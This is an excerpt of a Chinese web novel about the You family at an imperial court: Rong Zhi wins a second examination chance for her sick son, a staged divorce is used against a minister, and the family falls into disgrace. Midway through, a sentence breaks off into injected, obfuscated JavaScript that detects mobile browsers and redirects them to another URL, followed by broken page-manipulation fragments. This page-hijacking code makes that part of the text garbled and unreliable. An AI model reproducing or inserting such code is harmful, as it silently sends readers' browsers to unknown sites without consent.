游怜山岂会不知她的担忧，事实上，他早就想到游余病重缺考殿试的严重性。 依律，凡是会试上榜的贡生，以任何理由缺席殿试，都要被问责。 毕竟是违抗圣旨，罪责深重。 “这事，我也没办法，”游怜山显得毫无容情。 容芝摇摇头，提醒他，“你有办法的！咱家的余儿染了病，命都快没了，所以他才无法参加殿试，并非他自己不想，是身子不允许！” 话音落下，游怜山直直望着她，“如果你说的是真，那现在，你应该拿出太医院的文书。” 他说着，对容芝伸出手，掌心冲上。 容芝这才想起，赶路太急，一时忘了这件事。 但游怜山此刻公事公办的态度，演得太逼真，也太伤人了。 容芝看着游怜山，恳求道，“那你能不能帮忙，跑一趟太医院？我真的走不动了。” “我凭什么帮你？”游怜山漠然地甩开了她的手。 容芝一个踉跄，连连后退，差点摔下台阶。 等她站稳了身子，再用眼睛寻找游怜山的身影，却只看见差役举刀的手，一步步朝她而来。 “再不走，我只能——” “不必，我这就走了。”容芝的话音从身后传来。 游怜山继续往前走，没有回头，也没有停下脚步。 刚才他在表演夫妻感情破裂，委婉地给了容芝一个很关键的建议。 以容芝的聪明，她现在就该赶紧进宫，找太医院的院判，尽快拿到可证明游余病重的公文，然后她才有可能办成她所想要的事情，给游余求一个机会。 游怜山负手走在值房的过道里，忽然听见李经章的咳嗽声。 他抬头，李经章站在他的面前，脸色无波无澜，开口对他说的话却是，“听说，你父亲已经好几天不去大理寺上值了，可是病得很严重？” 游怜山显得漠不关心，“他已经与我断绝父子关系，我没兴趣知道他现在是什么情况。” 李经章面露“同情”，点了点头，“镜水，别难过！你想想从前，离开游家对你而言，未必不是好事。你放心，以后你还有我，定会帮你在吏部站稳脚跟。” “大人的心意，我明白……”游怜山道，径直绕过了李经章。 李经章忽然话锋一转，问道，“今日殿试结束，我在家中设宴，不知镜水有没有空去坐坐？” 游怜山收住脚步，冰冷地看向李经章，“您自己觉得呢？以我现在的状况，适合参加宴席吗？” 李经章被他的眼神看得一愣，不知怎的，竟有些不知所措，“既然你有安排，那就算了，改日再聚。” 值房的门，开了又关。 李经章站在原地，没想到自己还有需要看游怜山脸色的一天。 不过，游怜山与游家决裂，游仁泰也病倒了，游家在朝中的势力便彻底不存在了。 李经章以为，心腹大患解决，他下一步计划就是推举游怜山进内阁，利用游怜山去攻击秦家、袁家等“太子党”，尽快扶持三殿下取代太子之位，稳固朝局。 然而，李经章怕是想不到。 他深信不疑的“新宠”游怜山，刚刚拿到了他在湖西勾结乡绅和地方官，通过办私学敛财的书信和账本。 锦衣卫佥事钱源，来礼部衙门送关键证物，是受了太子之托付。 对于太子与游家的复杂关系，钱源最近看得越来越透彻。 但在他所有的惊讶中，感到最意外的是，游怜山的原配夫人容芝，在很久很久之前就被太子“收编”，是之前众多起朝局倾轧事件中的重要角色。 此外钱源还理解了游怜山忽然离心游家，与李经章走近的真实目的。 一切都是演戏，为了麻痹李经章的警惕心，游怜山甚至和容芝“真和离”，还屡次在公众场合，说出负心汉一般的狠话。 还有游家二公子游余的身世，什么太子少詹事升铭大人的私生子，全是无稽之谈！ 目的，同样是为了麻痹李经章。 至于游怜山的父亲游仁泰，当年帮李家换命的案子，太子也早就知道，且在皇帝面前帮忙做好了铺垫，一直极力夸赞游家的二郎游怜泉，说自从游怜泉出任剿匪巡抚，西南战事屡屡大捷，是戴罪立功！ 事情都在太子的掌控之中。 只等来日，时机合适，再祭出“李经资”这个关键人证，尽力帮游家洗去那段不堪的污点，保全游家的所有人。 太医院，在皇宫高墙内。 容芝药见到太医院院判，首先要进宫去。 她在赶去宫门前的路上，想好了对策，便直接走到门前的侍卫身边，说自己要见太后。 侍卫自然不同意。 容芝便搬出司宁侯夫人邓氏，也就是她的婆母，说邓氏有要事求见太后，请帮忙通传。 邓氏在太后面前是受宠的。 侍卫变得犹豫起来，好声好气地给容芝解释，“今日宫里举行殿试，不好打扰，不如，您明日再进宫见太后？” 容芝哪里等得到明日。 眼下，门前侍卫不配合，她也不敢像在礼部衙门前那样闹大，只能另想办法。 京城里，还有谁能帮她进宫，见到太医院的院判？ 正愁容满面，容芝听见有人从身后上来，对她喊了声“大夫人”。 回头，来的正是太子少詹事升铭。 容芝看到了希望，快步走上前，拉住他的袖子，“升铭大人，我有急事求你帮忙！” 此处不是说话的地方。 再有一会儿，宫里的殿试结束，准进士们就会逐一走出来了。 升铭看了眼宫门前的侍卫，给容芝做了个请，“去马车里说？” 容芝跟随他过去，等帘布遮下来，她直接道出所求，“余哥儿缺席殿试，只有拿到太医院院判的诊断文书，才好向皇帝求情。可侍卫不让我进宫，你能不能帮我想想办法？” 升铭沉吟片刻，却反问她，“夫人先告诉我，您最希望为余哥儿求一个什么样的结果？” 容芝无意隐瞒，“余哥儿的才华，升铭大人是知道的，若他因病缺考，只能被皇帝点为三甲进士，恐怕要抱憾终生！” 升铭明白其中的厉害，“所以，夫人只管大胆地提，您想要什么结果。” 容芝的双手握在一起，郑重开口，“只求皇帝开恩，准予余哥儿在三年后重新会试、殿试。” 诉求明确，但升铭告诉她，只是拿到太医院的诊断文书，完全不够。 容芝看着升铭，只好说道，“如果太子殿下肯出面，此事定能有转机。” 听言，升铭笑笑，“原来夫人早就盘算好了太子这一步棋。” 容芝忙掏出袖袋里的银票，而银票也是她唯一能想到的有用的筹码，“请升大人笑纳。” 那些银票，来路很清白，是容芝从书局的生意里一点点积攒出来的。 只是她原打算用这笔钱支撑奄奄一息的司宁侯府，此刻却必须提前拿出，一次性花个干净。 没事，千金散去，再攒就好。 “夫人这是做什么？”升铭把她的银票推回来，“您与太子殿下接触这么多年，难道还会误会他的为人？眼下司宁侯府情况紧张，一大家子的人都指望着你生活，所以，太子更不会要你的银票。” 容芝急得眼泪滑落，重重点头，“还请升大人指点，需要我为太子做什么，他才愿意帮一帮余哥儿。” “什么都不用做，太子希望游家所有人都好好的，尤其是游乘和游余二位公子！” 升铭的话，点醒了心急如焚的容芝。 她捏着厚厚的银票，说道，“受人之恩，涌泉相报，只要太子殿下能帮余哥儿，此后游家必定报答太子殿下！” “夫人言重了，行，事情说定，您现在回侯府等消息，一切交给我们，好不好？” “多谢殿下和升大人。” 容芝并不知道少詹事升铭如何说服太子，而太子又用了什么话术说服皇帝。 她听升铭的安排，在司宁侯府等待，直到日头西斜，长子游乘从外回了家，还是不等来升铭的传信。 游乘回家先去了正院，看望祖父祖母。 邓氏虽说哭得伤心，却可忍着痛苦，与游乘聊上几句。 相比之下，祖父游仁泰的情况更为忧心。 听伺候的丫鬟说，游仁泰已经昏睡一个多时辰不醒。 游乘不敢轻易离开游仁泰的床前，只让丫鬟去长房东园转告他母亲容芝，说他回家了，想在正院多陪陪祖父。 容芝听说游乘回家，便知这孩子终于完成了关键的殿试，以他的才学，拿下一甲前三不成问题，但是，容芝心里始终没轻松，还担忧着没着落的游余。 思来想去，她当然不敢贸然前往太子府，也怕侯府出事，她没敢带走虞次，只独自驾马车前往千家胡同，想从那边打探一点消息。 千家胡同的房牙行，居然关了门，门上挂着锁。 容芝吃了闭门羹，失望占据了她的心，她赶着马车往侯府走，经过自家的不足斋，掌柜老周迎出来，拦住她的马车，悄悄指了指书局的二楼窗口。 那边，一道身影站在窗后，瞧着，很像是游怜山。 这人已是李经章的“走狗”，此时来书局等她，实在冒险。 容芝带着气劲儿，上了二楼，打开了门，却没再关上。 “游侍郎，找我什么事？”容芝故意冷着口气说话。 游怜山对她笑笑，随即恢复漠然，“怎么？这不足斋，是我游家的产业，我不能来？” 容芝坐在桌前，轻拍对面的空位，示意他坐下说话。 但她的嘴上继续狠道，“才过了两天，你已经忘了？那日在侯府，你父亲游仁泰已经与你断绝关系，你就不再是游家人，这游家的书局，自然也和你没关系。” 游怜山坐在对面，倒了杯温茶给容芝，配合着，回道，“笑话！就算我被赶出游家，可你签了我的和离书，不再是游家媳妇，还想霸占游家的书局，简直不知廉耻！” 这下，容芝听得来了气，瞪游怜山一眼，半真半假道，“游怜山……你才不知廉耻！！” 游怜山猛地点头，压低声音道，“对，是我的错，全是我的错。小芝，你受苦了。” 容芝叹气，同样低着嗓子，“我没关系，今日我见过升铭，请他帮忙找太子出面，为游余缺考求情。” 游怜山看看天色，“结果？” 容芝摇头，没说话。 游怜山见状，立刻起身，“那我再去找找李经章，让他出面。” 容芝惊讶地上来拉住他，“你疯了？且不说李经章不会帮游家，你现在这样，李经章肯定怀疑上你的。” 游怜山想了想，“但你别忘了，李经章是礼部尚书，他出面为病重的贡生说话，于情于理，都说得过去，是顺水人情罢了。” 容芝觉得不妥，事情没到那一步，升铭那边，说不定正在赶去侯府传消息。 已经和离的夫妻俩简单见了一面。 容芝要走了，游怜山与她一前一后下楼，站在门前，沉默着目送容芝的马车离开。 侯府门房见容芝回家，提着灯笼跑上来。 接着，一封信交到了容芝的手里。 容芝就着门房举高的灯笼，拆信一看，总算安了心，应了她请求的升铭，在给她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302957|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信中写道，太子已经说服皇帝，同意给游余多一次机会。 正感到松了口气，却听身后有骑马的人来到。 那人是太监模样，嗓音尖细，举着一副圣旨，对容芝问道，“站着的，可是贡生游余的母亲容芝？” 容芝忙应声，见太监展开了圣旨，还好心提醒她该接旨了。 这道圣旨被门房送去了正院，也好让老夫人邓氏高兴高兴。 容芝坐在侯府门前的石阶上，感到双腿发软，却喜极而泣。 后来，长子游乘来门口扶着她，母子俩在门房坐了会，容芝说现在就去城郊告诉游余这个好消息。游乘却坚持陪她一起去看看弟弟。 那时容芝还没觉察出什么不对劲，只以为游乘一整天没见弟弟，甚是担心弟弟的身体。 母子俩的马车停在城郊的集中管制点。 兵马司的兵士被容芝问起，说太医院的院判刚刚来给游余复诊，“二公子已经退了热，那太医院的方子，起效了。” 容芝听了并不乐观。 这虫咬病的症状就是反复高热，儿子游余暂时退了热，不知哪时候又会发热，身陷危险。 屋里光线很弱，大家被送到这里，多是已经丧失康复的信心，没什么求生欲。 或是躺着流泪，或是坐着发呆。 像游余那般，点了烛台专心看书的人，也有零星的几个，那些人都没有游余的经历惨痛，夺了会试会元，只差走完殿试便可得到授官，走上仕途，但遗憾地止了步。 容芝想着，来到游余的身边，坐了下来。 游余抬头，喊了声，“娘……哥哥！” 游乘早已热泪满眶，赶忙抹去，握起了游余的手，“你还看什么书？要多休息啊。” 游余摇头，“我可睡不着！而且，我也不敢放松警惕，等三年后，还要考状元的！” 游乘抱住游余，哭出了声，“好，我等弟弟的喜讯。” 容芝嗓音哽咽，等兄弟俩平复下来，才将带来的圣旨拿给了游余。 一一看下来，游余的嘴角慢慢上扬，最后合起来，对容芝说，“母亲，您放心，我肯定能活到三年后。” 一听这话，容芝顿时反应过来，又把圣旨拿回来，展开仔细地看，这才发现皇帝同意让游余参加三年后的会试、殿试，但提出了一个条件。 患了虫咬病的游余，只剩最后一口气的游余，可以健康地活到三年后。 莫说是健康，以游余目前的状态，他能不能活三年，都成了大问题。 容芝顿时哭出声来。 连日的奔忙劳累，没让她感到绝望，但只是看了这道圣旨，她紧绷的神经终于断了弦。 然而她的哭声混杂在周围其他人的哭声里，压根算不得突兀，反而十分应景，也没引起旁人过多的关注。 唯有不远处看守的兵士走上前来，询问容芝需不需要帮助。 容芝无法开口，长子游乘帮她回应兵士，说没事，为弟弟游余的病感到难过罢了。 到了后半夜，容芝所担心的事情发生。 游余又开始高热，她一步也不敢离开，是游乘帮忙烧水，熬药，再由她一口一口喂给游余服下，不知是不是太医这次的方子真的有效，而是游余对这病有了抗体，过了半个时辰，热就退下来，睡了过去。 容芝想起兵士的话，又让游乘多熬了几罐子药，分发给其他正在经受发热之痛的病人，几个时辰过去，那些人也慢慢退热，入睡，容芝看着大家，开始相信了这是太医的方子起效。 退热之后的病人过来向容芝道谢，家属聚在一起，说到太医院研究出的治病药方，已经有不少医馆自发贡献草药，制作大量的免费汤药，发放给所有染病的人。 “牵头此事的人，好像是翰林院的一批进士，只记得有个叫赵决的。” 游乘听见这个熟悉的名字，与母亲容芝交换个眼神。 四年前，他因侯府丧期，无法参加那次的会试，而他的朋友赵决一举夺得当年的探花，如今在翰林院已有四年，他俩虽然没有机会见面，游乘此时听别人说起着赵决，心中是高兴的，欣慰的。 “哥哥，你是不是想起了刘子应？”安静中，游余问道。 游乘看他一眼，勉强笑笑，“这么多年过去，想必他也有自己不一样的生活吧。” 容芝递给他一碗水，“今日流了太多泪，你多喝些。” 游乘接住，不免又叹了一声，“子应当年生病，如果他没找到医治之法，便是早就……” 他没说完，也不敢往深处想，这些年京城一直没有刘子应的消息，是因为什么呢。 母子三人在城郊守了三日。 游余期间发热过几次，持续时间却都不长，似乎他的病已经出现重大转折，慢慢朝着康复的方向发展。 但是这并不会改变母子俩即将离开京城的行程。 离开京城的日子已近，容芝必须尽快安顿好长子游乘。 从城郊回侯府的马车上，她又劝了一回游乘。 说他祖父祖母同样需要他的照料，而且殿试放榜在即，之后所有的官方活动，他都必须参加，不可缺席。 放榜首日，传胪大典、张挂金榜、跨马游街。次日，琼林宴。第三日，诣孔庙、行释褐礼……上表谢恩、题名刻碑…… “你先留在侯府，行吗？”容芝口气诚恳。 游乘无法反驳，母亲所提到的活动，他一个都躲不掉，而放榜之后，庆典仪式之后，他需要立刻前往翰林院或其他衙门上值，同样是耽误不得。 他看着母亲眼下的青黑，这些日子，母亲为了弟弟，连轴转得几乎没合过眼。 他沉默良久，终是点头，“儿子听母亲的，留在侯府照看，等母亲和弟弟三年后回京。” 次日清晨，宫门前旌旗招展，新科进士身着锦袍，按名次排成长队。 游乘站在最前端，一身状元红袍衬得他身姿挺拔，在百官注视下，他接过皇帝亲授的刑部主事官印。 这职位，恰是他三伯游怜钊曾任职的地方，也算间接继承了家族衣钵。 离宫时，游乘得到许多同年进士的祝贺，也有不少新晋同僚，约他参加庆贺宴席，都被他一口回绝，他说家中还在丧期，无法参加宴席。 游乘正低头走着，胳膊被一只手拉住。 回头一看，竟是多日不见的父亲游怜山。 “游侍郎，”游乘抽回胳膊，如同对待陌生人一样，行了礼。 游怜山的脸一僵，好不容易挤出了笑，带着点委屈，道，“乘哥儿怎么如此见外？” 游乘在此行礼，“不知游侍郎叫住下官，有何事指点？” 游怜山只好松开他，摇了摇头，“无事，就不能与你说说话？好歹，我也养了你十多年，你竟对我这么冷漠？是打算彻底忘记了养育恩？” 游乘依然躬身，不起，“不是下官忘了，是游侍郎自己忘了，您如今已不再是游家人，也不再和下官有任何关系……哦，如果有一天，我去了吏部，而游侍郎还是吏部尚书，我们也只是简单的上下级关系，仅此而已。” 游怜山的嘴角扯动。 游乘漠然地站直了身子，又问他当真没有事要说吗。 “有，想恭喜你高中状元，心愿得偿！” “谢侍郎大人。下官还要赶回家，给祖父祖母、母亲和弟弟报喜，就此告辞。” 游乘仓皇地小跑，追上前面不远处的同僚们，装作无事发生，与其他人继续说着什么。 直到这时，游乘才知，之前在京中肆虐的虫咬病，已经被太医院攻克，而解决此事的最大功臣，竟是几位西南本地的赤脚大夫。太医院收到西南巡抚游怜泉搜罗的土方子，结合京城的实情，终于找到了行之有效的解药，彻底根治了无数患病的百姓。 送母亲和弟弟游余离京的那天，赶上一场暴雨。 从前一日夜里就开始下，京中的池塘都满溢出来，就像游乘无法排解的不舍。 侯府不能有事，书局也不能有事。 游乘让母亲放心，如果侯府碰上他解决不了的难处，会去千家胡同找升铭大人和太子殿下。 容芝隔着雨帘点头，声音被雨声模糊，“你在京中照顾好自己和祖父母，别牵挂我们。” 宜州，地处国境的东南角，物产丰富，民生富饶。 容芝这一路从京城到宜州，不过半个月，路上儿子游余又反复了几次发热，她去沿途的医馆抓药，熬药，喂药，但不知怎么回事，药效竟然打了折扣。 入城这日，容芝的母亲孙氏早已在城门口等候。 老夫人鬓发已白，见了女儿和外孙，没说一句寒暄话，只拉着容芝的手问，“路上累不累？余哥儿的病怎么样了？” 容芝没有隐瞒，说她一切都好，但儿子游余的病有些回头，好像变得严重不少。 回家后，孙氏请来了整个宜州医术最好的大夫，帮忙检查了容芝带着的药方。 大夫看过药方，认为太医院的法子没问题，问题出在其中的一味药。 南北两地对那药的称呼，有差异，许是中间出了差错，用错了药才没发挥出药效。 可那大夫又说，方子里的那种药，在宜州本地的品质不行，最好还是用京城附近的。 这又给了容芝一道难题。 一来一去，耗费一个月，这期间，游余就得靠着自己去抵抗病症，恐怕稍有不慎就要留下遗憾。 容芝让家丁在全宜州采买最高品的药，另一边也计划再回一趟京城，买药。 正打算次日就出发，却没想到当天晚上，升铭竟然冒大雨追来了宜州，还带了足够的新配药包，说是太子交代他办的，怕宜州这边没有药。 容芝当即去熬好了药，一个时辰后，游余的热症康复，一场虚惊过去了。 然而，升铭这一趟来宜州，不仅带来了可以救命的药包，也带来了一道沉重的丧讯。 “夫人你一定保重！老侯府和老夫人，都过世了。” 哐啷一声。 容芝手中的药碗摔在地上，溅了一地。 她僵在原地，脑海里回响着升铭的话，侯府的二位老人，怎么走得如此着急？ 游余看着母亲惨白的脸，轻声问，“娘怎么了？” 容芝抱住儿子，嗓音哽咽，“没什么，就是……你祖父祖母……没了。” 雨还在下。 宜州的夜幕里，响起游余压抑的哭声。 65. 侯府不在，重考会试 关于要不要回京，奔丧公爹婆母，容家母亲孙氏的答案是，“当然要去。” 对此容芝自己也认同。 她与游家的近二十年牵连，不会简单地因为她和游怜山和离而断。 何况儿子游余是游家的孙辈，理应送祖父祖母最后一程。 只是游余的伤病还没完全康复，在来宜州的路上又跟着她吃了许多苦，如果他们这就直接返回京，游余难免有伤及根本的风险。 “这没什么，咱请个大夫，跟着一起上路！”父亲容续引，给了容芝中肯的建议。 容芝听了这话便再也没有理由推辞，她向刚刚重逢的父亲母亲、哥哥嫂子道别，连夜就动身，返回京城奔丧。 城头的石板上，雨水未干，容芝和游余站在马车边，转头对城楼下的亲人挥手。 请来的随行大夫帮着少詹事升铭大人，把堆成小山的药包搬上另一架马车，升铭也对容家人挥挥手，高声喊道，“容老先生，老夫人，山高水长，来日再见！” 远远地，前户部尚书容续引的面上浮出笑，对着升铭微微点了点头。 容芝靠在马车的侧窗，等自家亲人的身影再也看不见，才收回目光，低头看着正闭着眼睛，靠在她身边的儿子游余。 “娘，您说爹会不会回游家吊唁？”安静中，游余忽然问道。 容芝笑笑，“不知道，我与他住在一个屋檐这么多年，很多时候都是拿不准他的。” 游余这时仰起脸，“这么说，娘和爹这次是真的和离？不是做戏？” 容芝微怔，为了这次计划的逼真，她和游怜山演着演着，好像连她自己都有点相信，游怜山早就厌烦了她。 这会子她被亲儿子问到，她却给不出准话，只好半玩笑地说，“你从哪儿看出，我们不像真分开了？” 游余缓缓摇头，轻声道，“我说不上来，但就是有一种感觉，您还是舍不得爹，爹也舍不得您，但碍于某件事情，你们必须分开。等那件事结束了，过去了，您和爹又会和好如初了！” 容芝摸摸他的发顶，含糊着说，“谁知道呢！” 入京城的时候，已是七月中旬。 盛夏时节，空气闷热，容芝和游余身上还穿着稍厚的春衣，来到街市上，母子俩去相熟的裁缝铺添了两套清凉的夏衣，被店主认出来。 “游大……容娘子和余哥儿回来了？”店主机灵得很。 容芝回笑，还赶着回侯府，忙付了银子，告辞。 那店主却追了出来，把银子还给了容芝，“如今这光景，您别破费了，几件衣裳而已，就当是我送给您的礼物，若没有不足斋的慷慨解囊，城中百姓还在受虫患之苦呢！” 这话便叫容芝听出些内幕。 原来她不在京城的这一个多月，发生了这么多事。 “再则，您婆家已经……这些钱您留着傍身吧。”店主说着竟抬手抹了抹泪。 容芝顿时不解，只得追问道，“您这话什么意思？” 店主却没继续说下去，坚持把银子塞在容芝的手里，回了店里。 事情如阴云，笼罩在容芝心头。 她有点忐忑，怕是游家的四弟、和弟妹们出了事，但她怎么也没想到，真正出事的是二房的侄女游宜，和三房的侄女游雅。 入城之后，容芝便和一路护送的少詹事升铭分开了。 那位从宜州请的大夫，也被容芝打发回宜州，她和游余来到熟悉的京城，不再需要外地的医生。 晌午时，气候最是热。 容芝看着越来越近的司宁侯府，忽然有点不敢相信，才一个多月，那道朱红的大门，似乎蒙上了厚厚的灰尘。 门房来迎接，是年迈的王伯。 容芝瞧着他花白的须发，颤抖的双手，到底没忍心麻烦王伯，便朝门房处喊了一嗓子。 隔了片刻，里边没人出来。 游余在旁见了这一幕，不觉啧了声，有些动气，“干嘛呢！一个个的……还不出来干活！” 王伯面色是有些尴尬，“余哥儿，不必喊了，其他人都已经离开侯府，眼下只有我一个老东西在。” 游余不觉一愣，半晌合不上嘴，“您说什么？！就您一个人在？” 他大概不信，跳下马车，直奔着安静的门房而去，而后，再出来时，似乎大为失望。 容芝喊道，“来，哥儿，你病好得差不多，帮我跑一趟东园，找你虞次叔来帮忙搬东西。” 游余应下，这就如从前的生龙活虎，跑着跨过门槛，一溜烟地消失了。 王伯望着游余的背影，“咱家的哥儿，能逃过阎王爷的手掌心，往后必定一生顺遂！” 容芝不信佛，也不信神，此刻却愿意信王伯的话，而她希望一生顺遂的，也不止有游余，还有游家的所有其他人，尤其是年轻的孩子们。 容芝和王伯在马车里收拾行李，等了许久也没见虞次出来，以为是游余回京见了人，一时太高兴，忘了她的吩咐。 她把行李拜托给王伯，自己也进了门槛，直奔着长房的东园过去。 路过公爹婆母从前住的正院，容芝见大门关着，里面毫无生气。 脚步不由加快，她感觉有点不对劲，就算侯爷和老夫人过世了，下人们或许离开这里另寻出路，但游家……不该如此安静。 游家还有能顶事的人在的。 她长子游乘，四弟游怜柑，还有两个弟妹，都还在游家的。 正想着，容芝已经来到东园门前，门开着，里面有人说话的声音，音调很高，话却十分不中听。 “四伯，你怎么能把雅妹妹嫁给杜家人！难道你忘了杜家对游家的恨？”是游余在争辩。 “这事你别管，也轮不到你管！你不在京城，不知道许多事都变了，”游家四郎游怜柑说。 容芝快步走进门里，一眼就看见站在院中拉拉扯扯的四房一家子。 几人之中，最可怜的是十三岁的侄女游雅，她的两只胳膊被二哥游余和她爹游怜柑分别拽着，像是要被从中间撕开了，紧紧皱了脸，表情越来越痛苦。 这时，游雅看见了回来的容芝，立刻喊道，“大伯母——” 容芝上来，一下就掰开了四弟游怜柑的手指，惊讶道，“你这是要干啥呢？不顾孩子死活了吗？” 她的力道很大，游怜柑被她掀开，后退好几步才站稳，等他看清了容芝，表情从慌乱恢复成冷静，再咧着嘴，对容芝笑道，“大嫂？路上累不累？” 容芝看了他一眼，先把侄女游雅拉到身边，紧紧抱住，才对游怜柑说，“只要游家好，我再累也没关系。” 游怜柑抿唇笑笑，还想说什么，可容芝已经牵着游雅进了里屋。 游余跟着跑，站在屋檐下，想起什么似的，回头对四伯游怜柑道，“雅妹妹住在我这儿，好得很，您和四伯母回北园去。” 一直沉默着的四房媳妇白氏，这时才回了神，笑着点头，“行，雅儿就喜欢她大伯母，出嫁之前，就让她在东园住着吧。” 话是对屋檐下的游余讲的，白氏的眼睛看着的，却是她的夫君游怜柑。 游怜柑听了，嘴角轻扯，“……也好，大嫂回来了，由她送雅儿出嫁，雅儿会高兴点。” 游余不敢置信地眨眨眼，开口的语气冰冷，“你俩还打算盘呢！不是，那杜家给了你们什么好处？祖父祖母刚过世，你们就迫不及待要把雅妹妹卖了？” 游怜柑哼了声，低着头，“反正是你想不到的数目，也是我这一辈子赚不来的数目。” 旁边的白氏拉了他的胳膊，小声嘟囔，“少说几句！大嫂会赚钱，手里管着咱家的四五间书局，你把大嫂得罪了，她要是不给咱分钱，那你找谁去？” 游怜柑看看白氏，许也是反应过来，脸上又挤出笑，“余哥儿，我们听你娘的，这就回北园去，你们路上舟车劳顿，好好歇着吧。” 游余想了想，叫住游怜柑，“还有件事儿，想问问四伯。祖父祖母葬在哪儿？灵位呢？” 游怜柑的脸色一变，抿着唇，低下头不再说话。 一旁的白氏接了话，她苦笑道，“还有什么灵位？游仁泰是罪臣！就因为他，游家被所有人耻笑、排挤，你四伯也被赶回了家，说他学不配位……”说着，她的眼泪洒下来，看着不似在装。 “罪臣，”游余反复念着这两个字，终是明白了游家面临着怎样的困境。 “连灵位都没有。” 游余把听来的话，转告给母亲容芝，见她好似没有反应，游余才更着急，“娘说，这怎么回事？有太子殿下在，也没能保住祖父？” 容芝从箱笼里挑了件自己的新衣，递给侄女游雅，让她去偏房里换上。 游雅身上的衣裳被父亲游怜柑撕破了，此刻可怕的父亲不在，她才敢大声地哭出来。 游余听着心疼，抬手抹去她的泪，“雅妹妹别怕，如果不是你自愿的，有我和母亲在，谁也不能强迫你。” 游雅抬头，泪眼汪汪，“二哥！你有子应哥哥的消息么？” 话音落下，屋子里顿时安静了。 游余不知怎么回答她，因为刘子应早在五六年前就失联了，如今，更不知他是死是活。 不过，游余听出了游雅话里的意思，“你喜欢刘子应啊？” 游雅脸红了一瞬，随即，跑进偏房，哭声却比之前更大了些。 大概因为她感到绝望，居然对一个销声匿迹多年的人，念念不忘。 “娘你不会早看出来了？”游余诧异地望着一脸平静的容芝。 “反正我知道，你是刚刚看出来，”容芝叹了一声。 她想起回来东园没见到虞次和阿桔，便抓过游余的胳膊，“见没见虞次？人呢？” 游余一拍脑袋，“这事叫我忘了……瞧瞧四伯和四伯母给我闹的……” 说着他走出里屋，在院子里喊道，“虞次叔，阿桔姑姑？” 无人回应。 容芝的心又是一沉，想着他们也许是出门办事去了。 她对偏房的游雅说，“衣裳合不合适？” 游雅拉开门走出来，“合适的。” 这丫头才十三岁，已亭亭玉立，哪怕此刻她脸上带着泪痕，也是花容月貌。 容芝对游雅招手，“走，和我去西园看看。” 游雅牵住她的手，站在原地，“大伯母，宜姐姐她……呜呜……” 容芝听言，脚步狠狠一僵，浑身的血直往头上冲，“她怎么？” 游雅好不容易停住的泪，又如断线的珠子，“她今日被送去了杜家！” 看来事情比料想的还要严重。 容芝赶忙问起虞次、阿桔去了哪儿。 游雅告诉她，这两个人被四伯赶出了游家，因为虞次叔坚决不让送走游宜姐姐。 “那你三伯母呢？”容芝急道。 游雅吸吸鼻子，“还在西园，也不知怎么的，这次她倒没去寒山寺，非说要守在游家，等大伯母您回来。” 总算有一件欣慰的消息。 容芝稍微松了口气，却也来不及去西园见三弟妹李氏，只吩咐游雅到西园，和李氏呆在一起，然后，把西园的门锁了，谁来叫门也不要开。 “我爹来，我也不开么？”游雅犹豫道。 容芝还没说话，从身后跑上来的游余对游雅说，“不开！除非，雅妹妹想和宜妹妹一样，被送去杜家受苦。” 游雅的脑袋摆得像拨浪鼓，“我不要！我不要！！” 容芝拍拍孩子的手背，“不想去，就听你二哥的，谁来都不开门，记住了？” 游雅重重点头。 让两个女眷互相守护，容芝终究不放心，忙摸出两张银票给游雅，“这是四百两，你收好，以防万一。”她能力有限，能给游雅的，也只有这种身外的东西了。 容芝还得去杜家，把侄女游宜要回来。 二弟游怜泉在西南前线，把女儿游宜交给了她，是无奈，也是信任，她决不可辜负这份信任，要尽所能去保全游宜。 杜家，在闹亲。 容芝被杜家人拦在大门外，隔着好几道墙，听见侄女游宜的哭声，心像是被人揪着，疼得她的鼻子发酸，咬牙切齿。 “杜明！你给我滚出来！”游余不是忍得了气的性子，扯开嗓子就冲里面喊。 隔了会，杜家的管家铁青着脸出来。 他没认出容芝，只瞪着游余，“我当是谁？原来是你这个病秧子！” 周围的人跟着哄笑，大家说起一个多月前，游余因病缺席殿试。 那时，所有人都预料着，游余要连累整个游家，被皇帝问罪，却没曾想，这小子居然得到太子殿下的保举，顺利得到一个重考会试的机会…… 不过，那时大家有多羡慕游家和游余，现在就有多鄙视游家的下场。 前日司宁侯府的两位老人前后过世，接着，游家的好运就结束了。 内阁首辅李经章上本弹劾，声称游家和太子炎准交往过密，结党营私。 隔天起，游家的结党案子就转交到了锦衣卫佥事、钱源的手里。 游家四郎游怜柑被国子监赶出来。 听说，是杜家为游怜柑求情，他才免过了牢狱之灾，但这辈子的路已经走到了头。 杜家帮游怜柑，可不是白帮。当时，杜明就提了条件，让游怜柑把女儿游雅送给杜家眼盲的二郎做妻子，而杜明自己也看上了游宜，假模假式地对游怜柑说，“如果你能先把游宜送来杜家，我可以宽限你几天。” 游怜柑怕妻子白氏怪他，只好把手伸向二房侄女游宜，做了恶人。 他以为杜家真的能守信，放过他的女儿游雅，可杜明用行动打了他的脸，昨日竟找到了游怜柑，要求游怜柑三天之内把游雅送去杜家。 否则，游怜柑别想继续留在京城。 从这些人嘴里听完前因后果，容芝想着，游家被问罪的理由，竟是“结党营私”。 如果游家真被问了这么大的罪，是会被满门抄斩，一个不留的。 也亏得四弟游怜柑读书半辈子，还在国子监过了多年，连杜明的这点小把戏都看不穿，被杜明耍得团团转。 不过眼下，容芝最该担心的，是二房侄女游宜。 她看向居高临下的杜家管家，笑了笑，“能不能请你帮个忙？” 杜家管家戏谑道，“没好处的事，我不做。” 容芝递上银票，“这是五十两，够你好好吃几顿。你去通报杜明公子，就说游家长媳容芝，想和他谈一谈。” 那管家揣上银票，拱手转了身，走进门里。 游余松了口气，低声骂道，“吃里扒外的东西……” 容芝帮他整理松散的额发，“能用钱解决的，都不是问题。你娘没别的，就是钱多！” 这话声音不算小，便是故意让周围的人都听见。 或许，这游家不如从前了，但也不是谁都能上来踩一脚的柿子。 一时间，周围议论四起。 稍微明白事理的都想过来，只听有人问道：“怎么游家被打成了太子党，有结党之嫌，家产却没被没收？” 